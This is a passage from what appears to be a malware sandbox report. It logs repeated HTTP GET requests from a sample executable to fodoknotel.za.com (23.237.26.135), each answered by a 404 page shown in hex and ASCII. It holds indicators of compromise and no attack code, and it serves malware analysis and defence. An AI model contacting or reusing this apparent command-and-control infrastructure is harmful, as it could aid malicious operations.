"-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49810	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:23 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:23 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:23 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:23 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49817	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:24 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:24 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:24 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:24 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49825	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:25 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:25 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:25 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:25 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49834	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:26 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:26 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:26 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:26 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49842	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:27 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:27 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:27 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:27 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49849	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:27 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:28 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:27 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:28 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49855	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:28 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:29 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:29 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:29 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49862	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:29 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:29 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:29 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:29 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49870	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:30 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:30 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:30 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:30 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49877	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:31 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:31 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:31 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:31 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49884	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:32 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:32 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:32 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:32 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49891	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:33 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:33 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:33 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:33 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49898	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:34 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:34 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:34 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:34 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49907	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:35 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:35 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:35 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
